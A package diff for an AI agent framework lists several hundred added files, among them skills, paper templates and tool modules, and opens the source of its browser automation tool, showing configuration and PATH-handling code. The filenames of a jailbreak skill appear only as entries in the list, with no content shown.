  1398. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +146 -0
  1399. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +1085 -0
  1400. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +11 -0
  1401. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-main.xsd +3081 -0
  1402. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +23 -0
  1403. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +185 -0
  1404. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +287 -0
  1405. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/pml.xsd +1676 -0
  1406. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +28 -0
  1407. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +144 -0
  1408. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +174 -0
  1409. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +25 -0
  1410. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +18 -0
  1411. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +59 -0
  1412. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +56 -0
  1413. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +195 -0
  1414. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-math.xsd +582 -0
  1415. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +25 -0
  1416. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/sml.xsd +4439 -0
  1417. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/vml-main.xsd +570 -0
  1418. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +509 -0
  1419. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +12 -0
  1420. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +108 -0
  1421. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +96 -0
  1422. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/wml.xsd +3646 -0
  1423. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/xml.xsd +116 -0
  1424. package/skills/productivity/powerpoint/scripts/office/schemas/ecma/fourth-edition/opc-contentTypes.xsd +42 -0
  1425. package/skills/productivity/powerpoint/scripts/office/schemas/ecma/fourth-edition/opc-coreProperties.xsd +50 -0
  1426. package/skills/productivity/powerpoint/scripts/office/schemas/ecma/fourth-edition/opc-digSig.xsd +49 -0
  1427. package/skills/productivity/powerpoint/scripts/office/schemas/ecma/fourth-edition/opc-relationships.xsd +33 -0
  1428. package/skills/productivity/powerpoint/scripts/office/schemas/mce/mc.xsd +75 -0
  1429. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-2010.xsd +560 -0
  1430. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-2012.xsd +67 -0
  1431. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-2018.xsd +14 -0
  1432. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-cex-2018.xsd +20 -0
  1433. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-cid-2016.xsd +13 -0
  1434. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-sdtdatahash-2020.xsd +4 -0
  1435. package/skills/productivity/powerpoint/scripts/office/schemas/microsoft/wml-symex-2015.xsd +8 -0
  1436. package/skills/productivity/teams-meeting-pipeline/SKILL.md +116 -0
  1437. package/skills/red-teaming/godmode/SKILL.md +404 -0
  1438. package/skills/red-teaming/godmode/references/jailbreak-templates.md +128 -0
  1439. package/skills/red-teaming/godmode/references/refusal-detection.md +142 -0
  1440. package/skills/red-teaming/godmode/scripts/auto_jailbreak.py +769 -0
  1441. package/skills/red-teaming/godmode/scripts/godmode_race.py +530 -0
  1442. package/skills/red-teaming/godmode/scripts/load_godmode.py +45 -0
  1443. package/skills/red-teaming/godmode/scripts/parseltongue.py +550 -0
  1444. package/skills/red-teaming/godmode/templates/prefill-subtle.json +10 -0
  1445. package/skills/red-teaming/godmode/templates/prefill.json +18 -0
  1446. package/skills/research/DESCRIPTION.md +3 -0
  1447. package/skills/research/arxiv/SKILL.md +282 -0
  1448. package/skills/research/arxiv/scripts/search_arxiv.py +114 -0
  1449. package/skills/research/blogwatcher/SKILL.md +137 -0
  1450. package/skills/research/llm-wiki/SKILL.md +507 -0
  1451. package/skills/research/polymarket/SKILL.md +77 -0
  1452. package/skills/research/polymarket/references/api-endpoints.md +220 -0
  1453. package/skills/research/polymarket/scripts/polymarket.py +284 -0
  1454. package/skills/research/research-paper-writing/SKILL.md +2377 -0
  1455. package/skills/research/research-paper-writing/references/autoreason-methodology.md +394 -0
  1456. package/skills/research/research-paper-writing/references/checklists.md +434 -0
  1457. package/skills/research/research-paper-writing/references/citation-workflow.md +564 -0
  1458. package/skills/research/research-paper-writing/references/experiment-patterns.md +728 -0
  1459. package/skills/research/research-paper-writing/references/human-evaluation.md +476 -0
  1460. package/skills/research/research-paper-writing/references/paper-types.md +481 -0
  1461. package/skills/research/research-paper-writing/references/reviewer-guidelines.md +433 -0
  1462. package/skills/research/research-paper-writing/references/sources.md +191 -0
  1463. package/skills/research/research-paper-writing/references/writing-guide.md +474 -0
  1464. package/skills/research/research-paper-writing/templates/README.md +251 -0
  1465. package/skills/research/research-paper-writing/templates/aaai2026/README.md +534 -0
  1466. package/skills/research/research-paper-writing/templates/aaai2026/aaai2026-unified-supp.tex +144 -0
  1467. package/skills/research/research-paper-writing/templates/aaai2026/aaai2026-unified-template.tex +952 -0
  1468. package/skills/research/research-paper-writing/templates/aaai2026/aaai2026.bib +111 -0
  1469. package/skills/research/research-paper-writing/templates/aaai2026/aaai2026.bst +1493 -0
  1470. package/skills/research/research-paper-writing/templates/aaai2026/aaai2026.sty +315 -0
  1471. package/skills/research/research-paper-writing/templates/acl/README.md +50 -0
  1472. package/skills/research/research-paper-writing/templates/acl/acl.sty +312 -0
  1473. package/skills/research/research-paper-writing/templates/acl/acl_latex.tex +377 -0
  1474. package/skills/research/research-paper-writing/templates/acl/acl_lualatex.tex +101 -0
  1475. package/skills/research/research-paper-writing/templates/acl/acl_natbib.bst +1940 -0
  1476. package/skills/research/research-paper-writing/templates/acl/anthology.bib.txt +26 -0
  1477. package/skills/research/research-paper-writing/templates/acl/custom.bib +70 -0
  1478. package/skills/research/research-paper-writing/templates/acl/formatting.md +326 -0
  1479. package/skills/research/research-paper-writing/templates/colm2025/README.md +3 -0
  1480. package/skills/research/research-paper-writing/templates/colm2025/colm2025_conference.bib +11 -0
  1481. package/skills/research/research-paper-writing/templates/colm2025/colm2025_conference.bst +1440 -0
  1482. package/skills/research/research-paper-writing/templates/colm2025/colm2025_conference.pdf +0 -0
  1483. package/skills/research/research-paper-writing/templates/colm2025/colm2025_conference.sty +218 -0
  1484. package/skills/research/research-paper-writing/templates/colm2025/colm2025_conference.tex +305 -0
  1485. package/skills/research/research-paper-writing/templates/colm2025/fancyhdr.sty +485 -0
  1486. package/skills/research/research-paper-writing/templates/colm2025/math_commands.tex +508 -0
  1487. package/skills/research/research-paper-writing/templates/colm2025/natbib.sty +1246 -0
  1488. package/skills/research/research-paper-writing/templates/iclr2026/fancyhdr.sty +485 -0
  1489. package/skills/research/research-paper-writing/templates/iclr2026/iclr2026_conference.bib +24 -0
  1490. package/skills/research/research-paper-writing/templates/iclr2026/iclr2026_conference.bst +1440 -0
  1491. package/skills/research/research-paper-writing/templates/iclr2026/iclr2026_conference.pdf +0 -0
  1492. package/skills/research/research-paper-writing/templates/iclr2026/iclr2026_conference.sty +246 -0
  1493. package/skills/research/research-paper-writing/templates/iclr2026/iclr2026_conference.tex +414 -0
  1494. package/skills/research/research-paper-writing/templates/iclr2026/math_commands.tex +508 -0
  1495. package/skills/research/research-paper-writing/templates/iclr2026/natbib.sty +1246 -0
  1496. package/skills/research/research-paper-writing/templates/icml2026/algorithm.sty +79 -0
  1497. package/skills/research/research-paper-writing/templates/icml2026/algorithmic.sty +201 -0
  1498. package/skills/research/research-paper-writing/templates/icml2026/example_paper.bib +75 -0
  1499. package/skills/research/research-paper-writing/templates/icml2026/example_paper.pdf +0 -0
  1500. package/skills/research/research-paper-writing/templates/icml2026/example_paper.tex +662 -0
  1501. package/skills/research/research-paper-writing/templates/icml2026/fancyhdr.sty +864 -0
  1502. package/skills/research/research-paper-writing/templates/icml2026/icml2026.bst +1443 -0
  1503. package/skills/research/research-paper-writing/templates/icml2026/icml2026.sty +767 -0
  1504. package/skills/research/research-paper-writing/templates/icml2026/icml_numpapers.pdf +0 -0
  1505. package/skills/research/research-paper-writing/templates/neurips2025/Makefile +36 -0
  1506. package/skills/research/research-paper-writing/templates/neurips2025/extra_pkgs.tex +53 -0
  1507. package/skills/research/research-paper-writing/templates/neurips2025/main.tex +38 -0
  1508. package/skills/research/research-paper-writing/templates/neurips2025/neurips.sty +382 -0
  1509. package/skills/smart-home/DESCRIPTION.md +3 -0
  1510. package/skills/smart-home/openhue/SKILL.md +109 -0
  1511. package/skills/social-media/DESCRIPTION.md +3 -0
  1512. package/skills/social-media/xurl/SKILL.md +414 -0
  1513. package/skills/software-development/debugging-hermes-tui-commands/SKILL.md +152 -0
  1514. package/skills/software-development/hermes-agent-skill-authoring/SKILL.md +165 -0
  1515. package/skills/software-development/node-inspect-debugger/SKILL.md +319 -0
  1516. package/skills/software-development/plan/SKILL.md +58 -0
  1517. package/skills/software-development/python-debugpy/SKILL.md +375 -0
  1518. package/skills/software-development/requesting-code-review/SKILL.md +280 -0
  1519. package/skills/software-development/spike/SKILL.md +197 -0
  1520. package/skills/software-development/subagent-driven-development/SKILL.md +352 -0
  1521. package/skills/software-development/subagent-driven-development/references/context-budget-discipline.md +53 -0
  1522. package/skills/software-development/subagent-driven-development/references/gates-taxonomy.md +93 -0
  1523. package/skills/software-development/systematic-debugging/SKILL.md +367 -0
  1524. package/skills/software-development/test-driven-development/SKILL.md +343 -0
  1525. package/skills/software-development/writing-plans/SKILL.md +297 -0
  1526. package/skills/yuanbao/SKILL.md +108 -0
  1527. package/tools/__init__.py +25 -0
  1528. package/tools/__pycache__/__init__.cpython-312.pyc +0 -0
  1529. package/tools/__pycache__/approval.cpython-312.pyc +0 -0
  1530. package/tools/__pycache__/binary_extensions.cpython-312.pyc +0 -0
  1531. package/tools/__pycache__/browser_camofox.cpython-312.pyc +0 -0
  1532. package/tools/__pycache__/browser_camofox_state.cpython-312.pyc +0 -0
  1533. package/tools/__pycache__/browser_cdp_tool.cpython-312.pyc +0 -0
  1534. package/tools/__pycache__/browser_dialog_tool.cpython-312.pyc +0 -0
  1535. package/tools/__pycache__/browser_supervisor.cpython-312.pyc +0 -0
  1536. package/tools/__pycache__/browser_tool.cpython-312.pyc +0 -0
  1537. package/tools/__pycache__/budget_config.cpython-312.pyc +0 -0
  1538. package/tools/__pycache__/checkpoint_manager.cpython-312.pyc +0 -0
  1539. package/tools/__pycache__/clarify_gateway.cpython-312.pyc +0 -0
  1540. package/tools/__pycache__/clarify_tool.cpython-312.pyc +0 -0
  1541. package/tools/__pycache__/code_execution_tool.cpython-312.pyc +0 -0
  1542. package/tools/__pycache__/computer_use_tool.cpython-312.pyc +0 -0
  1543. package/tools/__pycache__/cronjob_tools.cpython-312.pyc +0 -0
  1544. package/tools/__pycache__/debug_helpers.cpython-312.pyc +0 -0
  1545. package/tools/__pycache__/delegate_tool.cpython-312.pyc +0 -0
  1546. package/tools/__pycache__/discord_tool.cpython-312.pyc +0 -0
  1547. package/tools/__pycache__/feishu_doc_tool.cpython-312.pyc +0 -0
  1548. package/tools/__pycache__/feishu_drive_tool.cpython-312.pyc +0 -0
  1549. package/tools/__pycache__/file_operations.cpython-312.pyc +0 -0
  1550. package/tools/__pycache__/file_state.cpython-312.pyc +0 -0
  1551. package/tools/__pycache__/file_tools.cpython-312.pyc +0 -0
  1552. package/tools/__pycache__/homeassistant_tool.cpython-312.pyc +0 -0
  1553. package/tools/__pycache__/image_generation_tool.cpython-312.pyc +0 -0
  1554. package/tools/__pycache__/interrupt.cpython-312.pyc +0 -0
  1555. package/tools/__pycache__/kanban_tools.cpython-312.pyc +0 -0
  1556. package/tools/__pycache__/lazy_deps.cpython-312.pyc +0 -0
  1557. package/tools/__pycache__/managed_tool_gateway.cpython-312.pyc +0 -0
  1558. package/tools/__pycache__/mcp_tool.cpython-312.pyc +0 -0
  1559. package/tools/__pycache__/memory_tool.cpython-312.pyc +0 -0
  1560. package/tools/__pycache__/mixture_of_agents_tool.cpython-312.pyc +0 -0
  1561. package/tools/__pycache__/openrouter_client.cpython-312.pyc +0 -0
  1562. package/tools/__pycache__/process_registry.cpython-312.pyc +0 -0
  1563. package/tools/__pycache__/registry.cpython-312.pyc +0 -0
  1564. package/tools/__pycache__/schema_sanitizer.cpython-312.pyc +0 -0
  1565. package/tools/__pycache__/send_message_tool.cpython-312.pyc +0 -0
  1566. package/tools/__pycache__/session_search_tool.cpython-312.pyc +0 -0
  1567. package/tools/__pycache__/skill_manager_tool.cpython-312.pyc +0 -0
  1568. package/tools/__pycache__/skill_provenance.cpython-312.pyc +0 -0
  1569. package/tools/__pycache__/skill_usage.cpython-312.pyc +0 -0
  1570. package/tools/__pycache__/skills_guard.cpython-312.pyc +0 -0
  1571. package/tools/__pycache__/skills_sync.cpython-312.pyc +0 -0
  1572. package/tools/__pycache__/skills_tool.cpython-312.pyc +0 -0
  1573. package/tools/__pycache__/slash_confirm.cpython-312.pyc +0 -0
  1574. package/tools/__pycache__/terminal_tool.cpython-312.pyc +0 -0
  1575. package/tools/__pycache__/tirith_security.cpython-312.pyc +0 -0
  1576. package/tools/__pycache__/todo_tool.cpython-312.pyc +0 -0
  1577. package/tools/__pycache__/tool_backend_helpers.cpython-312.pyc +0 -0
  1578. package/tools/__pycache__/tool_result_storage.cpython-312.pyc +0 -0
  1579. package/tools/__pycache__/tts_tool.cpython-312.pyc +0 -0
  1580. package/tools/__pycache__/url_safety.cpython-312.pyc +0 -0
  1581. package/tools/__pycache__/video_generation_tool.cpython-312.pyc +0 -0
  1582. package/tools/__pycache__/vision_tools.cpython-312.pyc +0 -0
  1583. package/tools/__pycache__/voice_mode.cpython-312.pyc +0 -0
  1584. package/tools/__pycache__/web_tools.cpython-312.pyc +0 -0
  1585. package/tools/__pycache__/website_policy.cpython-312.pyc +0 -0
  1586. package/tools/__pycache__/x_search_tool.cpython-312.pyc +0 -0
  1587. package/tools/__pycache__/xai_http.cpython-312.pyc +0 -0
  1588. package/tools/__pycache__/yuanbao_tools.cpython-312.pyc +0 -0
  1589. package/tools/ansi_strip.py +44 -0
  1590. package/tools/approval.py +1392 -0
  1591. package/tools/binary_extensions.py +42 -0
  1592. package/tools/browser_camofox.py +700 -0
  1593. package/tools/browser_camofox_state.py +48 -0
  1594. package/tools/browser_cdp_tool.py +569 -0
  1595. package/tools/browser_dialog_tool.py +148 -0
  1596. package/tools/browser_providers/__init__.py +10 -0
  1597. package/tools/browser_providers/__pycache__/__init__.cpython-312.pyc +0 -0
  1598. package/tools/browser_providers/__pycache__/base.cpython-312.pyc +0 -0
  1599. package/tools/browser_providers/__pycache__/browser_use.cpython-312.pyc +0 -0
  1600. package/tools/browser_providers/__pycache__/browserbase.cpython-312.pyc +0 -0
  1601. package/tools/browser_providers/__pycache__/firecrawl.cpython-312.pyc +0 -0
  1602. package/tools/browser_providers/base.py +59 -0
  1603. package/tools/browser_providers/browser_use.py +225 -0
  1604. package/tools/browser_providers/browserbase.py +222 -0
  1605. package/tools/browser_providers/firecrawl.py +112 -0
  1606. package/tools/browser_supervisor.py +1457 -0
  1607. package/tools/browser_tool.py +3676 -0
  1608. package/tools/budget_config.py +51 -0
  1609. package/tools/checkpoint_manager.py +1639 -0
  1610. package/tools/clarify_gateway.py +278 -0
  1611. package/tools/clarify_tool.py +141 -0
  1612. package/tools/code_execution_tool.py +1782 -0
  1613. package/tools/computer_use/__init__.py +43 -0
  1614. package/tools/computer_use/__pycache__/__init__.cpython-312.pyc +0 -0
  1615. package/tools/computer_use/__pycache__/backend.cpython-312.pyc +0 -0
  1616. package/tools/computer_use/__pycache__/schema.cpython-312.pyc +0 -0
  1617. package/tools/computer_use/__pycache__/tool.cpython-312.pyc +0 -0
  1618. package/tools/computer_use/backend.py +150 -0
  1619. package/tools/computer_use/cua_backend.py +682 -0
  1620. package/tools/computer_use/schema.py +191 -0
  1621. package/tools/computer_use/tool.py +521 -0
  1622. package/tools/computer_use_tool.py +39 -0
  1623. package/tools/credential_files.py +437 -0
  1624. package/tools/cronjob_tools.py +719 -0
  1625. package/tools/debug_helpers.py +106 -0
  1626. package/tools/delegate_tool.py +2797 -0
  1627. package/tools/discord_tool.py +959 -0
  1628. package/tools/env_passthrough.py +145 -0
  1629. package/tools/environments/__init__.py +14 -0
  1630. package/tools/environments/__pycache__/__init__.cpython-312.pyc +0 -0
  1631. package/tools/environments/__pycache__/base.cpython-312.pyc +0 -0
  1632. package/tools/environments/__pycache__/docker.cpython-312.pyc +0 -0
  1633. package/tools/environments/__pycache__/file_sync.cpython-312.pyc +0 -0
  1634. package/tools/environments/__pycache__/local.cpython-312.pyc +0 -0
  1635. package/tools/environments/__pycache__/managed_modal.cpython-312.pyc +0 -0
  1636. package/tools/environments/__pycache__/modal.cpython-312.pyc +0 -0
  1637. package/tools/environments/__pycache__/modal_utils.cpython-312.pyc +0 -0
  1638. package/tools/environments/__pycache__/singularity.cpython-312.pyc +0 -0
  1639. package/tools/environments/__pycache__/ssh.cpython-312.pyc +0 -0
  1640. package/tools/environments/base.py +844 -0
  1641. package/tools/environments/daytona.py +270 -0
  1642. package/tools/environments/docker.py +656 -0
  1643. package/tools/environments/file_sync.py +400 -0
  1644. package/tools/environments/local.py +658 -0
  1645. package/tools/environments/managed_modal.py +282 -0
  1646. package/tools/environments/modal.py +479 -0
  1647. package/tools/environments/modal_utils.py +199 -0
  1648. package/tools/environments/singularity.py +263 -0
  1649. package/tools/environments/ssh.py +295 -0
  1650. package/tools/environments/vercel_sandbox.py +655 -0
  1651. package/tools/feishu_doc_tool.py +138 -0
  1652. package/tools/feishu_drive_tool.py +431 -0
  1653. package/tools/file_operations.py +1825 -0
  1654. package/tools/file_state.py +332 -0
  1655. package/tools/file_tools.py +1172 -0
  1656. package/tools/fuzzy_match.py +703 -0
  1657. package/tools/homeassistant_tool.py +513 -0
  1658. package/tools/image_generation_tool.py +1098 -0
  1659. package/tools/interrupt.py +98 -0
  1660. package/tools/kanban_tools.py +1139 -0
  1661. package/tools/lazy_deps.py +608 -0
  1662. package/tools/managed_tool_gateway.py +168 -0
  1663. package/tools/mcp_oauth.py +633 -0
  1664. package/tools/mcp_oauth_manager.py +607 -0
  1665. package/tools/mcp_tool.py +3483 -0
  1666. package/tools/memory_tool.py +584 -0
  1667. package/tools/microsoft_graph_auth.py +245 -0
  1668. package/tools/microsoft_graph_client.py +408 -0
  1669. package/tools/mixture_of_agents_tool.py +542 -0
  1670. package/tools/neutts_samples/jo.txt +1 -0
  1671. package/tools/neutts_samples/jo.wav +0 -0
  1672. package/tools/neutts_synth.py +104 -0
  1673. package/tools/openrouter_client.py +33 -0
  1674. package/tools/osv_check.py +155 -0
  1675. package/tools/patch_parser.py +592 -0
  1676. package/tools/path_security.py +43 -0
  1677. package/tools/process_registry.py +1534 -0
  1678. package/tools/registry.py +589 -0
  1679. package/tools/schema_sanitizer.py +370 -0
  1680. package/tools/send_message_tool.py +1900 -0
  1681. package/tools/session_search_tool.py +613 -0
  1682. package/tools/skill_manager_tool.py +932 -0
  1683. package/tools/skill_provenance.py +78 -0
  1684. package/tools/skill_usage.py +610 -0
  1685. package/tools/skills_guard.py +932 -0
  1686. package/tools/skills_hub.py +3263 -0
  1687. package/tools/skills_sync.py +432 -0
  1688. package/tools/skills_tool.py +1569 -0
  1689. package/tools/slash_confirm.py +167 -0
  1690. package/tools/terminal_tool.py +2376 -0
  1691. package/tools/tirith_security.py +775 -0
  1692. package/tools/todo_tool.py +277 -0
  1693. package/tools/tool_backend_helpers.py +144 -0
  1694. package/tools/tool_output_limits.py +92 -0
  1695. package/tools/tool_result_storage.py +232 -0
  1696. package/tools/transcription_tools.py +936 -0
  1697. package/tools/tts_tool.py +2285 -0
  1698. package/tools/url_safety.py +330 -0
  1699. package/tools/video_generation_tool.py +561 -0
  1700. package/tools/vision_tools.py +1422 -0
  1701. package/tools/voice_mode.py +1019 -0
  1702. package/tools/web_tools.py +1551 -0
  1703. package/tools/website_policy.py +283 -0
  1704. package/tools/x_search_tool.py +424 -0
  1705. package/tools/xai_http.py +83 -0
  1706. package/tools/yuanbao_tools.py +736 -0
  1707. package/toolset_distributions.py +364 -0
  1708. package/toolsets.py +866 -0
  1709. package/trajectory_compressor.py +1509 -0
  1710. package/tui_gateway/__init__.py +0 -0
  1711. package/tui_gateway/entry.py +251 -0
  1712. package/tui_gateway/event_publisher.py +126 -0
  1713. package/tui_gateway/render.py +49 -0
  1714. package/tui_gateway/server.py +6623 -0
  1715. package/tui_gateway/slash_worker.py +76 -0
  1716. package/tui_gateway/transport.py +219 -0
  1717. package/tui_gateway/ws.py +178 -0
  1718. package/utils.py +361 -0
@@ -0,0 +1,3676 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ Browser Tool Module
4
+
5
+ This module provides browser automation tools using agent-browser CLI. It
6
+ supports multiple backends — **Browser Use** (cloud, default for Nous
7
+ subscribers), **Browserbase** (cloud, direct credentials), and **local
8
+ Chromium** — with identical agent-facing behaviour. The backend is
9
+ auto-detected from config and available credentials.
10
+
11
+ The tool uses agent-browser's accessibility tree (ariaSnapshot) for text-based
12
+ page representation, making it ideal for LLM agents without vision capabilities.
13
+
14
+ Features:
15
+ - **Local mode** (default): zero-cost headless Chromium via agent-browser.
16
+ Works on Linux servers without a display. One-time setup:
17
+ ``agent-browser install`` (downloads Chromium) or
18
+ ``agent-browser install --with-deps`` (also installs system libraries for
19
+ Debian/Ubuntu/Docker).
20
+ - **Cloud mode**: Browserbase or Browser Use cloud execution when configured.
21
+ - Session isolation per task ID
22
+ - Text-based page snapshots using accessibility tree
23
+ - Element interaction via ref selectors (@e1, @e2, etc.)
24
+ - Task-aware content extraction using LLM summarization
25
+ - Automatic cleanup of browser sessions
26
+
27
+ Environment Variables:
28
+ - BROWSERBASE_API_KEY: API key for direct Browserbase cloud mode
29
+ - BROWSERBASE_PROJECT_ID: Project ID for direct Browserbase cloud mode
30
+ - BROWSER_USE_API_KEY: API key for direct Browser Use cloud mode
31
+ - BROWSERBASE_PROXIES: Enable/disable residential proxies (default: "true")
32
+ - BROWSERBASE_ADVANCED_STEALTH: Enable advanced stealth mode with custom Chromium,
33
+ requires Scale Plan (default: "false")
34
+ - BROWSERBASE_KEEP_ALIVE: Enable keepAlive for session reconnection after disconnects,
35
+ requires paid plan (default: "true")
36
+ - BROWSERBASE_SESSION_TIMEOUT: Custom session timeout in milliseconds. Set to extend
37
+ beyond project default. Common values: 600000 (10min), 1800000 (30min) (default: none)
38
+
39
+ Usage:
40
+ from tools.browser_tool import browser_navigate, browser_snapshot, browser_click
41
+
42
+ # Navigate to a page
43
+ result = browser_navigate("https://example.com", task_id="task_123")
44
+
45
+ # Get page snapshot
46
+ snapshot = browser_snapshot(task_id="task_123")
47
+
48
+ # Click an element
49
+ browser_click("@e5", task_id="task_123")
50
+ """
51
+
52
+ import atexit
53
+ import functools
54
+ import json
55
+ import logging
56
+ import os
57
+ import re
58
+ import signal
59
+ import subprocess
60
+ import shutil
61
+ import sys
62
+ import tempfile
63
+ import threading
64
+ import time
65
+ import requests
66
+ from typing import Dict, Any, Optional, List, Tuple
67
+ from pathlib import Path
68
+ from agent.auxiliary_client import call_llm
69
+ from calvyn_constants import get_hermes_home
70
+ from utils import is_truthy_value
71
+ from hermes_cli.config import cfg_get
72
+
73
+ try:
74
+ from tools.website_policy import check_website_access
75
+ except Exception:
76
+ check_website_access = lambda url: None # noqa: E731 — fail-open if policy module unavailable
77
+
78
+ try:
79
+ from tools.url_safety import (
80
+ is_safe_url as _is_safe_url,
81
+ is_always_blocked_url as _is_always_blocked_url,
82
+ )
83
+ except Exception:
84
+ _is_safe_url = lambda url: False # noqa: E731 — fail-closed: block all if safety module unavailable
85
+ _is_always_blocked_url = lambda url: True # noqa: E731 — fail-closed on the floor too
86
+ from tools.browser_providers.base import CloudBrowserProvider
87
+ from tools.browser_providers.browserbase import BrowserbaseProvider
88
+ from tools.browser_providers.browser_use import BrowserUseProvider
89
+ from tools.browser_providers.firecrawl import FirecrawlProvider
90
+ from tools.tool_backend_helpers import normalize_browser_cloud_provider
91
+
92
+ # Camofox local anti-detection browser backend (optional).
93
+ # When CAMOFOX_URL is set, all browser operations route through the
94
+ # camofox REST API instead of the agent-browser CLI.
95
+ try:
96
+ from tools.browser_camofox import is_camofox_mode as _is_camofox_mode
97
+ except ImportError:
98
+ _is_camofox_mode = lambda: False # noqa: E731
99
+
100
+ logger = logging.getLogger(__name__)
101
+
102
+ # Standard PATH entries for environments with minimal PATH (e.g. systemd services).
103
+ # Includes Android/Termux and macOS Homebrew locations needed for agent-browser,
104
+ # npx, node, and Android's glibc runner (grun).
105
+ _SANE_PATH_DIRS = (
106
+ "/data/data/com.termux/files/usr/bin",
107
+ "/data/data/com.termux/files/usr/sbin",
108
+ "/opt/homebrew/bin",
109
+ "/opt/homebrew/sbin",
110
+ "/usr/local/sbin",
111
+ "/usr/local/bin",
112
+ "/usr/sbin",
113
+ "/usr/bin",
114
+ "/sbin",
115
+ "/bin",
116
+ )
117
+ _SANE_PATH = os.pathsep.join(_SANE_PATH_DIRS)
118
+
119
+
120
+ @functools.lru_cache(maxsize=1)
121
+ def _discover_homebrew_node_dirs() -> tuple[str, ...]:
122
+ """Find Homebrew versioned Node.js bin directories (e.g. node@20, node@24).
123
+
124
+ When Node is installed via ``brew install node@24`` and NOT linked into
125
+ /opt/homebrew/bin, agent-browser isn't discoverable on the default PATH.
126
+ This function finds those directories so they can be prepended.
127
+ """
128
+ dirs: list[str] = []
129
+ homebrew_opt = "/opt/homebrew/opt"
130
+ if not os.path.isdir(homebrew_opt):
131
+ return tuple(dirs)
132
+ try:
133
+ for entry in os.listdir(homebrew_opt):
134
+ if entry.startswith("node") and entry != "node":
135
+ bin_dir = os.path.join(homebrew_opt, entry, "bin")
136
+ if os.path.isdir(bin_dir):
137
+ dirs.append(bin_dir)
138
+ except OSError:
139
+ pass
140
+ return tuple(dirs)
141
+
142
+
143
+ def _browser_candidate_path_dirs() -> list[str]:
144
+ """Return ordered browser CLI PATH candidates shared by discovery and execution."""
145
+ hermes_home = get_hermes_home()
146
+ hermes_node_bin = str(hermes_home / "node" / "bin")
147
+ hermes_nm_bin = str(hermes_home / "node_modules" / ".bin")
148
+ return [hermes_node_bin, hermes_nm_bin, *list(_discover_homebrew_node_dirs()), *_SANE_PATH_DIRS]
149
+
150
+
151
+ def _merge_browser_path(existing_path: str = "") -> str:
152
+ """Prepend browser-specific PATH fallbacks without reordering existing entries."""
153
+ path_parts = [p for p in (existing_path or "").split(os.pathsep) if p]
154
+ existing_parts = set(path_parts)
155
+ prefix_parts: list[str] = []
156
+
157
+ for part in _browser_candidate_path_dirs():
158
+ if not part or part in existing_parts or part in prefix_parts:
159
+ continue
160
+ if os.path.isdir(part):
161
+ prefix_parts.append(part)
162
+
163
+ return os.pathsep.join(prefix_parts + path_parts)
164
+
165
+ # Throttle screenshot cleanup to avoid repeated full directory scans.
166
+ _last_screenshot_cleanup_by_dir: dict[str, float] = {}
167
+
168
+ # ============================================================================
169
+ # Configuration
170
+ # ============================================================================
171
+
172
+ # Default timeout for browser commands (seconds)
173
+ DEFAULT_COMMAND_TIMEOUT = 30
174
+
175
+ # Max tokens for snapshot content before summarization
176
+ SNAPSHOT_SUMMARIZE_THRESHOLD = 8000
177
+
178
+ # Commands that legitimately return empty stdout (e.g. close, record).
179
+ _EMPTY_OK_COMMANDS: frozenset = frozenset({"close", "record"})
180
+
181
+ _cached_command_timeout: Optional[int] = None
182
+ _command_timeout_resolved = False
183
+
184
+
185
+ def _get_command_timeout() -> int:
186
+ """Return the configured browser command timeout from config.yaml.
187
+
188
+ Reads ``config["browser"]["command_timeout"]`` and falls back to
189
+ ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable. Result is
190
+ cached after the first call and cleared by ``cleanup_all_browsers()``.
191
+ """
192
+ global _cached_command_timeout, _command_timeout_resolved
193
+ if _command_timeout_resolved:
194
+ return _cached_command_timeout # type: ignore[return-value]
195
+
196
+ _command_timeout_resolved = True
197
